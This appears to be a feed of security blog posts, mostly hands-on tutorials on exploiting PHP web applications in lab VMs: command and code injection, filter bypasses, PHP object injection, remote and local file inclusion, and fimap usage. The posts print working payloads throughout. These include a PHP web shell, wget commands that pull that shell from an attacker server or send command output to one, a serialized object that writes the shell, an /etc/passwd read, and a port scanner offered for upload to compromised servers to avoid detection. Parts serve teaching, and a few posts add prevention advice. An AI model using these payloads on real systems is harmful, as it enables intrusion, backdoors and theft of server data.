    $srv = getservbyport($port, "tcp");
    echo "Port $port [$srv] : ";
    if($val) {
      echo "<span style='color:green'>OPEN</span><br/>";
    } else {
      echo "<span style='color:red'>Closed</span><br/>";
    }
  }

} else {
  echo "<br/>";
  echo '<form action="" method="post">';
  echo 'Enter IP Address to Scan : <input type="text" name="ip"> ';
  echo "<input type='submit' value='Start Scan'>";
  echo "</form>";
}

?>

Download Link : Github

Output :

Possible use case : This script can be uploaded onto a vulnerable server in case File Upload Vulnerability, and that server is used to scan other targets to avoid detection.

Command Injection vulnerability in Web Applications : Part 2 | Bypass Security Checks

noreply@blogger.com (Unknown) — Mon, 28 Jan 2019 17:05:00 +0000

In this post we are gong to look at some of the security implementations and data sanitization techniques used to mitigate the command injection vulnerability and also how to bypass them. For the basics of Command Injection vulnerability please visit my previous post :

Command Injection : Part 1 | Introduction

Note : I am going to use Web for Pentester VM for the example. To install it on your system visit below link :

http://www.sec-art.net/2018/03/how-to-install-web-for-pentester-vm-in.html

Example 1 :

In example 1 code there is not any kind of security checks.

We can simply execute command.

 /commandexec/example1.php?ip=127.0.0.1; ls

Example1 is generic command injection.

Example 2 :

In example2, the regular expressions are used to filter out user input.

"preg_match()" is a built-in php function which is used to regular expression related tasks.

At the above regex :

'^' denotes the start of line
d{1,3} denotes the data should be decimal numbers between 1 to 3 digits in length
'.' represents dot character
'$' sign at last represents the end of line
and '\' used in the whole regex are nothing but escape character which is used within regex.

The above regex only allow inputs within the form of IP address like : 127.0.0.1, 192.168.150.100 etc. But also note that there is 'm' character at end of the regex expression, which is nothing but multi-line modifier. In php Regex modifiers change how the regex engine applies the pattern to the given input string, and at here the multiline modifier basically changes the way the beginning (^) and end ($) of line characters behave. When the multiline modifier is absent, the ^ and $ characters act as the beginning and end of the string. the multiline modifier "m" effect on the '$' character and with a line break we are able to create a match and inject our payload. Now at here we can use some illegal characters like "%0a" to break line and after that put our payload. Example :

 /commandexec/example2.php?ip=127.0.0.1%0als

And it works. Example2 is generic command injection.

Example3 :

Example3 has similar regular expression like example2.

But there are small difference, in example3 the multi-line modifier is not used. Means that we can not use line break method here.

In this situation we can use back-ticks `command` with the input. Example :

 /commandexec/example3.php?ip=127.0.0.1 `commnd_to_run`

When the above input get parsed, everything between back-ticks is executed first. At above example, the command between back-ticks are executed first, after that the whole input is parsed. This is known as command substitution. Since execution of the command between back-ticks takes precedence, it doesn’t matter if the command executed afterwards fails.

 /commandexec/example3.php?ip=127.0.0.1 `sleep 10`

And the command injection works. Since it is blind command injection, to extract data from the server we use below payload to send command output to our server.

 /commandexec/example3.php?ip=127.0.0.1 `wget http://attackerServer:Port/$(id)`

I am using a simple python server on port 8080.

and it also works.

Uploading web shell on vulnerable server :

We are going to use a very simple php shell.

Filename : shell.php

<?php
  $cmd = $_GET['cmd'];
  system($cmd);
?>

Payload :

 /commandexec/example3.php?ip=127.0.0.1 `wget http://attackerServer/shell.php`

On our file server, there is a file request from vulnerable server

Now executing command on target server.

 /commandexec/shell.php?cmd=command_name

Conclusion :

In this post we look at some techniques to bypass security checks in command injection vulnerability. Visit the link for more tutorials about Web Security : http://www.sec-art.net/p/web-security.html

Command Injection vulnerability in Web Applications : Part 1 | Introduction

noreply@blogger.com (Unknown) — Mon, 28 Jan 2019 16:38:00 +0000

The Command Injection Vulnerability allows an attacker to execute system level command on the vulnerable web server. This vulnerability occurs when an application passes unsafe user-supplied data (for example from get-post parameters, cookies, HTTP-headers etc ) without any sanitization or proper security checks to shell command execution functions like system(), shell_exec() etc. And these function will execute user/Attacker supplied data/command.

This vulnerability could lead to various consequences, for example complete takeover of server, stealing sensitive data, launching Denial of service attacks etc. Now lets see an example of command injection vulnerability.

Filename : test.php

<?php
  if(empty($_GET['file'])) {
    echo "Please give the file name !!"; 
    die();
  }
  $file = $_GET['file'];
  system("wc -c $file");
  echo " Bytes";
?>

The above php code will prints the size in bytes of given file name, Note that there are system() function is used to execute system command, and there are a file named data.txt on the web server.

Output :

It prints the file size as expected. But at here an attacker could also gives other shell command with the parameter 'file', and due to absence of any kind of security checks on user supplied data, the system() function will execute it. For example :

 /test.php?file=data.txt;ls

At above, the data supplied with 'file' parameter are : "data.txt;ls", where ls is list command and ';' (semicolon) is used to indicate end of line, which indicates that there's another separate command after this. Another example :

 /test.php?file=data.txt;uname -a

We can also use some other methods like :

'&&' sign : If first command will succeeds then second command run. Example

 /test.php?file=data.txt && uname

'|' sign : Redirects the output of first command to second one. Example

 /test.php?file=data.txt | uname

'||' sign : Only if first command will fail then second command will run. Example :

 /test.php?file=filenotexists || uname

using of '`' (backtic) sign : The backtic sign can be used to execute command. Example :

 /test.php?file=data.txt `uname`

Types of Command Injection :

1. Generic Command injection : The output of executed command will return as response. The example above we have seen is generic command injection type.

2. Blind Command Injection : The output of executed command does not returns in response. Now lets see another example to understand Blind Command injection.

Filename : bci.php

<?php
  if(empty($_GET['file'])) {
    echo "Please give the file name !!"; 
    die();
  }
  $file = $_GET['file'];
  shell_exec("rm $file");
  echo "$file is removed.";
?>

The above php code will delete the user supplied file name from the web directory. Also note that, shell_exec() function is used instead of system(), and shell_exec() does not return any output to the response page. Now lets run the above example :

and when we put shell command on the parameter, then it does not show anything related to 'ls' command.

This type of command injection is known as blind command injection, because we did not see the output of executed command on response. In this situation we can use some other commands like 'sleep', which pauses the execution for some second. Example :

 /pci.php?file=data.txt;sleep 10

and as we can see that webapp is waiting for the server response, means it is vulnerable to command injection attack. In this situation, to exfiltrate data from the sever we can make request from the vulnerable server to our server with the data as parameter. Example :

 /pci.php?file=data.txt;wget http://attackerserver/$(command_to_be_executed)

Note that at above a wrapper "$(command)" is used to execute command on the server.

Conclusion :

This is a very basic introduction to Command Injection Vulnerability. In next post we are going to see some methods and techniques to bypass security checks and sanitization bypass.

Link : Command Injection Part 2 | Bypass Security checks

Visit the link for more tutorials about Web Security : http://www.sec-art.net/p/web-security.html

Code Injection Vulnerability in Web Applications

noreply@blogger.com (Unknown) — Mon, 28 Jan 2019 15:20:00 +0000

In Code Injection vulnerability allows an attacker to inject and execute malicious code on the target web application. This type of attack exploits the poor handling of user-supplied untrusted data. The code injection vulnerability exists on the web-application due to lack of proper validation and security checks against input data (user-supplied data).

The code injection is different from command injection, because in code injection an attacker is only limited by the functionality of the injected language itself. For example, if an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Now lets see an example of code injection Vulnerability.

File : test.php

<?php
  $name = $_GET['name'];
  eval("echo 'Hello $name';");
?>

Above code takes input from GET parameter 'name' and evaluate it with echo command by using eval() function, the eval() function is a inbuilt php function which evaluates a string as PHP code. Output of above program :

But the above code is vulnerable to php code injection. For example, an attacker could make the following request to execute arbitrary PHP code.

 /test.php?name=ajay;';phpinfo();//

And as we can see, the phpinfo() function is executed by simply commenting out the rest of the code (by using '//' ) on eval() function at line 3. Another example of evaluating system commands :

 /test.php?name=ajay;';system('uname -a');//

Avoiding Code Injection Vulnerability :

The best way to eliminate the code injection vulnerability is to avoid code evaluation at all costs. And when it is necessary then it is important to strongly validate the input data before evaluating it.

Visit the link for more tutorials about Web Security : http://www.sec-art.net/p/web-security.html

PHP Serialization / Object Injection Vulnerability Part 2 : Exploitation Technique

noreply@blogger.com (Unknown) — Sun, 27 Jan 2019 10:25:00 +0000

In PHP object injection attack we try to inject arbitrary objects of a class with malicious crafted custom values, in order to exploit some functionality of web-application's execution flow. For example consider the below vulnerable php program :

FileName : phpoi.php

<?php
  class WebApp {
    public $logfile = null;
    public $logdata = null;

    public function OITest() {
      echo '[+] Hello world. This is Function call to OITest();<br/>';
      $this->logfile = 'logs.txt';
      $this->logdata = 'Log Data : Success';
    }

    public function __destruct() {
      file_put_contents(DIR . '/' . $this->logfile, $this->logdata);
      echo '[*] Data is written to the file.<br/>';
    }
  }

  $input = unserialize($_GET['data']);

  $obj = new WebApp;
  $obj->OITest();
?>

At above program, there is a class named "WebApp", there are 2 variables within the class, and the values are assigned to the variables by calling IOTest() class function, and at the end of execution, __destruct function will triggered, which write the content of variable $logdata into file logs.txt (which is stored within $logfile variable) on the current web directory by using file_put_contents() function and prints the message "[*] Data is written to the file". Also note that there's unserialize() function is used, which deserialize the users input in provided with GET method ( GET['data' ] ) and store the output on variable named '$input', but program does not use this deserialze object. which Now lets run the program.

Note : For this demonstration i am using Lamp stack with Ubuntu server16.4 VM.

Output :

And the "logs.txt" file is also created. But there is also an user provided object named $input. So when we provide a serialized object with get parameter, then it is unserialized and written on the file by __destruct() function. Now lets see how it works, but first we have to generate the serialized object string and for this we are going to use below code :

Filename : generate1.php

 <?php
  class WebApp {
    public $logfile = "file.txt";
    public $logdata = "This is Simple Test file.";
  }

  $obj = new WebApp;
  echo htmlspecialchars(serialize($obj));
?>

Note that the structure of the class needs to be same as target application's class. The output is :

 O:6:"WebApp":2:{s:7:"logfile";s:8:"file.txt";s:7:"logdata";s:25:"This is Simple Test file.";}

Now supplying the above string as GET argument with parameter 'data', the url will look like below :

 /phpoi.php?data=O:6:"WebApp":2:{s:7:"logfile";s:8:"file.txt";s:7:"logdata";s:25:"This is Simple Test file.";}

Note that the message will written twice, means our provided logdata will written on the newly created file "file.txt".

Now by similar method we can also write a php shell on the web server, and achieve code execution on the vulnerable server. PHP code to generate serialized string for php shell is :

Filename : generate2.php

<?php
  class WebApp {
    public $logfile = "shell.php";
    public $logdata = '<?php system($_GET["cmd"]); ?>';
  }

  $obj = new WebApp;
  echo htmlspecialchars(serialize($obj));
?>

Output :

 O:6:"WebApp":2:{s:7:"logfile";s:9:"shell.php";s:7:"logdata";s:30:"<?php system($_GET["cmd"]); ?>";}

Our payload will be :

 /phpoi.php?data=O:6:"WebApp":2:{s:7:"logfile";s:9:"shell.php";s:7:"logdata";s:30:"<?php system($_GET["cmd"]); ?>";}

looks like our php web-shell is successfully written on web server. Now lets try to execute command on the server.

 /shell.php?cmd=uname -a

and, it works. Means we successfully exploited. Note that this is one of the various methods to exploit PHP Object Injection vulnerability. An attacker can also use other magic function like __construct(), call(), sleep(), __wakeup, toString etc. depending on the web application code flow to manipulate class variables in order to attack the web application.

All the php codes used here can be downloaded from : Github Link

Conclusion :

The PHP Serialization bugs are not a common vulnerability and it is very difficult to exploit this bug. Although it could be only found by source code reviews or white box testing. Some of the popular php based CMS systems affected by Object Injection vulnerability are WordPress 3.6.1, Magento 1.9.0.1, Joomla 3.0.3, IP Board 3.3.4.

PHP Object Injection : Part 1

References :

https://mukarramkhalid.com/php-object-injection-serialization/
https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Serialization / Object Injection Vulnerability Part 1 : Basics of PHP Serialization and Magic Function

noreply@blogger.com (Unknown) — Sun, 27 Jan 2019 09:28:00 +0000

The PHP Object Injection Vulnerability allows an attacker to modify a PHP object in a way that it changes the application flow, which leads to Remote code execution, Path traversal, DOS attack etc.

The serialization vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass crafted serialized strings to a vulnerable unserialize() call, which resulting in an arbitrary PHP object(s) injection into the application scope.

Now lets look some basic concept behind Serialization/unserialization :

PHP Serialization :

The PHP allows Object Serialization, means with serialization process we can store php objects as string for later use. For object serialization serialize() function is used, and it returns the string representation of php object. For example :

Filename : srl1.php

<?php
  class MyApp {
    public $name = 'Bruce Wayne';
    public $age = 45;
  }

  $obj = new MyApp;
  echo serialize($obj);
?>

At above there is a php class 'MyApp' which contains 2 class variables name and age, 'obj' is an object of class 'MyApp' and the last line will print serialized string of object 'obj'. The output is

 O:5:"MyApp":2:{s:4:"name";s:11:"Bruce Wayne";s:3:"age";i:45;}

As we can see the above represent the serialized version of the object 'obj'. Some of the details are :

O:5:"MyApp" : The first 'O' represents the class, 3 5 represents the length of characters of class name and 'MyApp' is name of class.
:2: '' represents the number of class variables.
s:4:"name";, where 's' represents the string, 4 is number character and then the value itself.
Similarly s:11:"Bruce Wayne"; and s:3:"age"; is same as above.
i:45, where i represents the integer value and 45 is its value.

The table below shows the various serialization formats :

After that for deserialization of the data unserialize() function is used. Now lets try to unserialize the above output.

Filename : srl2.php

<?php
  class MyApp {
    public $name;
    public $age;

    public function print() {
      echo 'Name : ' . $this->name . '<br/>';
      echo 'Age : ' . $this->age;
    }
  }

  $data = 'O:5:"MyApp":2:{s:4:"name";s:11:"Bruce Wayne";s:3:"age";i:45;}';
  $obj = unserialize($data);
  $obj->print();
?>

At above code the stored object data is deserialized with unserializ() function. The Output is :

 Name : Bruce Wayne
 Age : 45

PHP Magic Functions :

In PHP, magic functions are special built-in functions, which can automatically get called when certain events occured, and this perticular functionality of Magic functions can be used to exploit the Object Injection vulnerability. The name of magic functions are starts with double underscore sign "__", for example "construct", "__destruct" etc. Some of the magic functions are :

__construct() : It executes when a new object is created in php. The construct function is basically used for initialization process of object.

__destruct() : The destruct function is called when there is no other reference to a particular object, or during the shutdown sequence of program.

__sleep() : It executes just before the serialization.

__wakeup() : It executes just after the deserialization.

Now lets see an example of above magic functions.

Filename : magic.php

<?php
  class MyApp {
    public $name = "Bruce Wayne";
    public $age = 45;

    public function printMe() {
      echo "Name: " . $this->name . "<br/>";
      echo "Age: " . $this->age . "<br/>";
    }

    public function __construct() {
      echo "[*] __construct() is Called.<br/>";
    }

    public function __destruct() {
      echo "[*] __destruct() is Called.<br/>";
    }

    public function __wakeup() {
      echo "[*] __wakeup() is Called.<br/>";
    }

  }

  $obj = new MyApp; // object is created, 

  $data = serialize($obj);

  $newObj = unserialize($data);

  $newObj->printMe();
?>

Output of the above code is :

 [*] __construct() is Called.
 [*] __wakeup() is Called.
 Name: Bruce Wayne
 Age: 45
 [*] __destruct() is Called.
 [*] __destruct() is Called.

Now in object injection attack , the __destruct() function is used.

You can download above php codes from here : Github_link

Conclusion :

In this post we learnt the use of serialization function and also the use of magic functions. Now in next post we are going to look about exploitation method of PHP Object Injection.

PHP Object Injection Part 2 : Exploitation Technique

Remote File Inclusion Attacks on Web-Application | RFI Attacks

noreply@blogger.com (Unknown) — Sat, 26 Jan 2019 15:41:00 +0000

RFI stands for Remote File Inclusion, this vulnerability allows an attacker to dynamically include files/scripts from remote/external sources into the web server. This vulnerability occurs due to poorly implemented security checks and sanitization. The successful exploitation of RFI vulnerability leads to remote code execution, Cross Site Scripting, Information disclosure etc. For example :

<?php
  $file = $_GET['file'];
  include($file);
?>

The above page takes file name as input and include that file.

 website.com/test.php?file=page1

But the above php code is vulnerable to RFI attack, and an attacker could easily include remote files and run it on the web server.

 website.com/test.php?file=http://attackersite.com/backdoor.php&cmd=cat%20/etc/passwd

Now lets see an example of the attack. Also note that in php version 5 and above the 'allow_url_include' option is disabled by default, and in order to experiment with RFI you have to enable it.

In this example i am going to use Metasploitable2 VM. The download links are given below :

Download Link : https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip

And you also need to enable "allow_url_include" option in Metasploitable2, to do that just open the file '/etc/php5/cgi/php.ini' with nano or vi editor and in Line number 576

 allow_url_include = Off

at above line change Off with On

 allow_url_include = On

Our vulnerable page will take page name and include that page.

Now we try to include an external file from remote source.

File : shell.php

<?php
  $cmd = $_GET['cmd'];
  system($cmd);
?>

URL of php file is : http://192.168.56.1:8000/shell.php

And in the web application, the url will be :

 /dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/shell.php&cmd=ls

And as we can see the 'ls' command is successfully executed on the web server. We can also drop our backdoor file on the web server with below code

File : load.php

<?php
  shell_exec('wget http://192.168.56.1:8000/shell.php -O /var/www/shell.php')
?>

The above code will download shell.php and store it on /var/www/ directory.

 http://192.168.56.101/dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/load.php

and after the above request, we can access our backdoor 'shell.php', with

 http://192.168.56.101/shell.php?cmd=<command_to_run>

Preventing Remote File Inclusion (RFI) vulnerability

The best way to eliminate Remote File Inclusion (RFI) vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a whitelist of files that can be included in order to limit the attacker’s control over what gets included. We can also minimize the risk of RFI attacks through proper input validation and sanitization. it’s always preferable to sanitize user-supplied/controlled inputs to the best of your ability. These inputs include:

GET/POST parameters
URL parameters
Cookie values
HTTP header values

It is also recommended to implement validation mechanisms on the server side, because client side validation can be easily bypassed by using a proxy tool like burp suite, ZAP proxy etc.

Additionally, in the case of PHP, most modern PHP configurations are configured with allow_url_include set to off, which would not allow an attacker to include remote files, but it still be vulnerable to Local File Inclusion attack.

Links to other posts :

fimap : tool for exploiting Remote/Local File Inclusion vulnerability | LFI Attacks

noreply@blogger.com (Unknown) — Sat, 26 Jan 2019 14:50:00 +0000

fimap is an LFI/RFI detection and exploitation tool written in python which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. fimap is something like sqlmap just for LFI/RFI bugs instead of SQL injection. The download link is given below :

https://github.com/crunchsec/fimap/archive/master.zip

Now lets see some example of uses fimap.

For help menu :

 ./fimap.py -h

Now lets first try it with Web4Pentest VM's File Inclusion Pages.

Simple Scan :

 ./fimap.py -u http://192.168.56.103/fileincl/example1.php?page=

Output :

as we can see the 'page' parameter is vulnerable. Scanning the second example :

 ./fimap.py -u http://192.168.56.103/fileincl/example2.php?page=

Output :

Scanning with harvest mode : -H

This mode harvest all urls from a given root url of a server and save it to a file.

 ./fimap.py -H -u root_url -w output_file_name

Example :

 ./fimap.py -H -u http://192.168.56.103/ -w op.txt

The output will be saved on op.txt

Now we can use that output file as input for scanning each url with fimap, with using mass scan option (-m)

 ./fimap.py -m -l op.txt

Interactive mode :

'-x' flag is used to start interactive mode in fimap. It lists all vulnerable targets based on previous scan results and gives the option to perform exploitation attempts against them. Example of interactive mode :

 ./fimap.py -x

Links to other Posts :

References :
https://github.com/crunchsec/fimap/
https://www.exploit-db.com/papers/12872
http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html

Exploiting Local File Inclusion (LFI ) vulnerability with /proc/self/environ method | LFI Attacks

noreply@blogger.com (Unknown) — Sat, 26 Jan 2019 14:34:00 +0000

In this post we are going to see, how an attacker can exploit LFI vulnerability to to achieve code execution by the use of /proc/self/environ method.

What is /proc/self/environ LFI Method ?

In Linux based system the environment-variables of the current process (self) can be accessed via /proc/self/environ. One of the environment-variables set (if apache2 is running) is the user-agent which can be controlled through a HTTP request. If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.

GET lfi.php?file=../../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo();?>

Now if an attacker sends the above http request to the web server then :

first the data on User-Agent field will written on the /proc/self/environ file.
Then the page request "lfi.php?file=../../../proc/self/environ" will include the content of /proc/self/environ file into the output page and our payload is get executed.

In this way a local file inclusion vulnerability can be leveraged to Remote Code Execution. Now lets see an example of it. For demonstration i am going to use Metasploitable2 VM with DVWA, You can download it from below link :

Download Link : https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip

In DVWA web application, we are going to use "File Inclusion" page with 'low' security setting.

 /dvwa/vulnerabilities/fi/?page=file1.php

Now there is LFI vulnerability in 'page' input.

Now lets try to include /proc/self/environ file.

And it gets included in the output page, means it is also vulnerable to /proc/self/environ attack. Now we just just have to modify the 'User-Agent' header field of the request body, and it can be done by using any browser proxies like Burp Suite, ZAP proxy or you can also use temper data plugin on firefox. I am going to use Burp proxy.

Now first we are going to check weather our injected code will execute or not, and for this the payload will be :

<?php phpinfo();?>

And our request body will be :

Response output :

And it works, means we successfully got executed our code on the web server. Now we are going to use the below payload :

<?php shell_exec('wget http://192.168.56.1:8000/shell.php -O /var/www/shell.php');?>

The above php code will download backdoor file "shell.php" and store it on the web root directory (/var/www/), at here i am using a simple python http server to host backdoor file, in real world scenerio you can use the any web servers to host the backdoor file. The code used for php backdoor "shell.php" is :

<?php
  $cmd = $_GET['cmd'];
  system($cmd);
?>

Now lets try the above payload.

Now lets try to access our backdoor.

And it works. In case if 'User Agent' field is filtered by web application, then you can also inject php code within Accept-Encoding' field.

Links to other Posts :

Sec-Art

Install docker on Linux (Ubunutu 20 LTS)

Runnning the docker command without sudo :

Install GO in UNIX/LINUX Environment

Kioptrix: Level 1.3 (#4) CTF VM WalkThrough

Kioptrix: Level 1.2 (#3) CTF VM WalkThrough

Kioptrix: Level 1.1 (#2) CTF VM WalkThrough

Kioptrix: Level 1 (#1) CTF VM WalkThrough

Setting-up Vimux ( vim + tmux ) in Linux machine

vim plugins installation and some basic .vimrc configuration

Exploiting Apache Struts2.5 REST Plugin Vulnerability

Escalation Privilege on Linux/Unix System by Editing /etc/passwd and /etc/shadow files :

Install shutter screenshot tool with Editor Enabled in Ubuntu 18.04

Setting up remote backdoor on linux machine using netcat | nc

MrRobot CTF VM WalkThrough from VulnHub

BasicPentesting2 VM WalkThrough from VulnHub

BasicPentesting1 VM WalkThrough from VulnHub

Mounting Samba File Sharing on Linux / Ubuntu system within single command

A Simple php script for Port Scanning

Command Injection vulnerability in Web Applications : Part 2 | Bypass Security Checks

Command Injection vulnerability in Web Applications : Part 1 | Introduction

Code Injection Vulnerability in Web Applications

PHP Serialization / Object Injection Vulnerability Part 2 : Exploitation Technique

PHP Serialization / Object Injection Vulnerability Part 1 : Basics of PHP Serialization and Magic Function

Remote File Inclusion Attacks on Web-Application | RFI Attacks

fimap : tool for exploiting Remote/Local File Inclusion vulnerability | LFI Attacks

Exploiting Local File Inclusion (LFI ) vulnerability with /proc/self/environ method | LFI Attacks

Runnning the docker command without `sudo` :